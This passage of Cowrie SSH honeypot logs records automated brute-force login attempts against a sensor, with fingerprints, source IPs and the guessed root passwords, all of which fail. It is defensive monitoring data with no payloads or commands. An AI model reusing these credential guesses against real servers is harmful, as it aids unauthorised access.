ss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:57.337313Z","src_ip":"103.82.20.28","session":"5880da9e7f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melol188","message":"login attempt [root/melol188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:58.138635Z","src_ip":"103.82.20.28","session":"5880da9e7f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:58.163923Z","src_ip":"213.209.159.158","session":"fdf89facd12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31538,"dst_ip":"159.203.135.109","dst_port":22,"session":"ace7c80596b2","protocol":"ssh","message":"New connection: 213.209.159.158:31538 (159.203.135.109:22) [session: ace7c80596b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:58.245644Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:59.409372Z","src_ip":"103.82.20.28","session":"5880da9e7f5d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:59.450216Z","src_ip":"213.209.159.158","session":"ace7c80596b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:23:59.459024Z","src_ip":"213.209.159.158","session":"ace7c80596b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.gosun.com","message":"login attempt [root/www.gosun.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:05.499593Z","src_ip":"213.209.159.158","session":"ace7c80596b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:07.984551Z","src_ip":"213.209.159.158","session":"ace7c80596b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49186,"dst_ip":"159.203.135.109","dst_port":22,"session":"de4e6cabd8d0","protocol":"ssh","message":"New connection: 213.209.159.158:49186 (159.203.135.109:22) [session: de4e6cabd8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:08.081000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:09.249160Z","src_ip":"213.209.159.158","session":"de4e6cabd8d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:09.253639Z","src_ip":"213.209.159.158","session":"de4e6cabd8d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangwenhao","message":"login attempt [root/wangwenhao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:15.203841Z","src_ip":"213.209.159.158","session":"de4e6cabd8d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:17.546849Z","src_ip":"213.209.159.158","session":"de4e6cabd8d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":17574,"dst_ip":"159.203.135.109","dst_port":22,"session":"a43b3891114e","protocol":"ssh","message":"New connection: 213.209.159.158:17574 (159.203.135.109:22) [session: a43b3891114e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:17.633365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:19.244086Z","src_ip":"213.209.159.158","session":"a43b3891114e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:19.247880Z","src_ip":"213.209.159.158","session":"a43b3891114e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":51638,"dst_ip":"159.203.135.109","dst_port":22,"session":"d98044d8d611","protocol":"ssh","message":"New connection: 87.251.79.125:51638 (159.203.135.109:22) [session: d98044d8d611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:19.773507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:19.778599Z","src_ip":"87.251.79.125","session":"d98044d8d611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:19.852133Z","src_ip":"87.251.79.125","session":"d98044d8d611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"william1","message":"login attempt [root/william1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:20.072881Z","src_ip":"87.251.79.125","session":"d98044d8d611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:21.148785Z","src_ip":"87.251.79.125","session":"d98044d8d611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":35546,"dst_ip":"10.17.0.5","dst_port":22,"session":"42a6214b9e97","protocol":"ssh","message":"New connection: 20.160.86.7:35546 (10.17.0.5:22) [session: 42a6214b9e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:23.894902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:23.900637Z","src_ip":"20.160.86.7","session":"42a6214b9e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:23.983191Z","src_ip":"20.160.86.7","session":"42a6214b9e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:24.338837Z","src_ip":"20.160.86.7","session":"42a6214b9e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"we123456","message":"login attempt [root/we123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:25.001850Z","src_ip":"213.209.159.158","session":"a43b3891114e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:25.424110Z","src_ip":"20.160.86.7","session":"42a6214b9e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:27.603166Z","src_ip":"213.209.159.158","session":"a43b3891114e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":60210,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5074240432e","protocol":"ssh","message":"New connection: 213.209.159.158:60210 (159.203.135.109:22) [session: c5074240432e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:27.707304Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:28.293314Z","src_ip":"180.76.170.111","session":"13c133d64f69","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:28.993210Z","src_ip":"213.209.159.158","session":"c5074240432e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:28.997352Z","src_ip":"213.209.159.158","session":"c5074240432e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":55096,"dst_ip":"10.17.0.5","dst_port":22,"session":"454118469072","protocol":"ssh","message":"New connection: 40.83.182.122:55096 (10.17.0.5:22) [session: 454118469072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:31.029113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:31.034072Z","src_ip":"40.83.182.122","session":"454118469072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:31.111192Z","src_ip":"40.83.182.122","session":"454118469072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Samsung@123","message":"login attempt [root/Samsung@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:31.449946Z","src_ip":"40.83.182.122","session":"454118469072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:32.530349Z","src_ip":"40.83.182.122","session":"454118469072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.douyu.com","message":"login attempt [root/www.douyu.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:34.899997Z","src_ip":"213.209.159.158","session":"c5074240432e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:37.331434Z","src_ip":"213.209.159.158","session":"c5074240432e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15310,"dst_ip":"159.203.135.109","dst_port":22,"session":"74ee60b50833","protocol":"ssh","message":"New connection: 213.209.159.158:15310 (159.203.135.109:22) [session: 74ee60b50833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:37.412865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:38.738250Z","src_ip":"213.209.159.158","session":"74ee60b50833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:38.741823Z","src_ip":"213.209.159.158","session":"74ee60b50833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":48140,"dst_ip":"159.203.135.109","dst_port":22,"session":"251e0b06d887","protocol":"ssh","message":"New connection: 202.53.94.246:48140 (159.203.135.109:22) [session: 251e0b06d887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:40.017035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:24:40.021775Z","src_ip":"202.53.94.246","session":"251e0b06d887","protocol":"ssh"}
